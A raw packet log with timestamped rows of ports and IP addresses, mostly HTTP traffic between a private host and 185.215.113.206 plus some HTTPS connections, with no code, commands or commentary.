Nov 20, 2024 21:05:50.635987997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.724762917 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.725269079 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.725290060 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.725783110 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.726131916 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.726203918 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.726320982 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.771370888 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.785746098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.785804987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.786089897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.786165953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.786196947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.786341906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.786894083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.787345886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.787483931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.787763119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.787800074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.787868023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.787868023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.788672924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.788877964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.789247990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.789518118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.789638042 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.789673090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.790237904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.790515900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.790544987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.790591002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.791182995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.791196108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.791440964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.791977882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.792099953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.792845011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.792905092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.793355942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.793709993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.793731928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.793896914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.794557095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.794588089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.794714928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.795356035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.795381069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.795583010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.796202898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.796250105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.796684980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.796715021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.797066927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.797532082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.797694921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.797991991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.798017025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.798110962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.798317909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.798748970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.798820972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.798871994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.799592018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.799616098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.799772024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.799876928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.800443888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.800518990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.800569057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.800692081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.801299095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.801440954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.801466942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.801564932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.802123070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.802403927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.802747965 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.802967072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.803534031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.803770065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.803921938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.803931952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.803941965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.803976059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.804017067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.804706097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.804784060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.804810047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.805030107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.805511951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.805600882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.805610895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.805763960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.806421041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.806488991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.806771040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.807240963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.807394981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.807493925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.807674885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.808056116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.808203936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.808619022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.808785915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.808902979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.809015989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.809190035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.809473991 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.809855938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.810055971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.810069084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.810194969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.810600996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.810663939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.810726881 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.810848951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.811429977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.811670065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.811690092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.811826944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.812397957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.812638044 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.812788010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.812870026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.813110113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.813250065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.813416958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.814009905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.814068079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.814099073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.814232111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.814888000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.815052986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.815308094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.815754890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.816004992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.816129923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.816272020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.816512108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.816679955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.816879034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.817143917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.817405939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.817553997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.817620039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.817744970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.818200111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.818552971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.818981886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.819056034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.819077969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.819088936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.819205999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.819205999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.819864035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.819919109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.820349932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.820492029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.820872068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.820889950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.820955038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.820955038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.821589947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.821732044 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.822356939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.822475910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.822485924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.822510004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.822550058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.823242903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.823376894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.823395014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.823527098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.824115038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.824254036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.824285030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.824369907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.825087070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.825215101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.825474024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.825828075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.825927019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.825956106 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.826049089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.826638937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.826698065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.826728106 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.827033043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.827487946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.827560902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.827583075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.827697992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.828336000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.828732967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.828762054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.829194069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.829386950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.829416990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.829530954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.830008984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.830416918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.865659952 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:50.865715981 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:50.866599083 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:50.866599083 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:50.866637945 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:50.956043005 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:50.956096888 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:50.956311941 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:50.956640005 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:50.956667900 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:50.964179039 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.964576960 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.964633942 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.965814114 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.966244936 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.966440916 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.966459036 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.968261003 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.970583916 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.970602989 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.971955061 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.972271919 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.972564936 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.972676039 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.972718000 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:50.977564096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.977693081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.977816105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.977827072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.977916002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.977946997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.978050947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.978677034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.978889942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.978916883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.979523897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.979690075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.979715109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.980104923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.980329990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.980439901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.981123924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.981292009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.981319904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.981448889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.981563091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.982021093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.982199907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.982237101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.982295990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.982875109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.982995987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.983025074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.983088017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.983717918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.983864069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.984148026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.984554052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.984747887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.984778881 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.985397100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.985455036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.985485077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.985939026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.986254930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.986495972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.986804962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.987086058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.987116098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.987175941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.987310886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.987934113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.988044977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.988063097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.988181114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.988764048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.988992929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.989183903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.989624023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.989902020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.989932060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.990128994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.990494967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.990698099 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.991137981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.991379023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.991390944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.991410017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.991569996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.992160082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.992270947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.992317915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.992432117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.993002892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.993051052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.993123055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.993844032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.993935108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.993963957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.994256020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.994739056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.994750977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.994849920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.995625973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.995768070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.995903969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.996433973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.996517897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.996546984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.996630907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.997236967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.997380018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.997507095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.997766972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.998066902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.998234034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.998473883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.998924971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.999047995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.999113083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.999223948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.999483109 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:50.999872923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.999883890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.000284910 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.000332117 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.000375032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.000617981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.000675917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.001348019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.001480103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.001501083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.001518011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.001590967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.001590967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.001800060 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.001914024 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.002319098 CET	80	49780	185.215.113.206	192.168.2.7
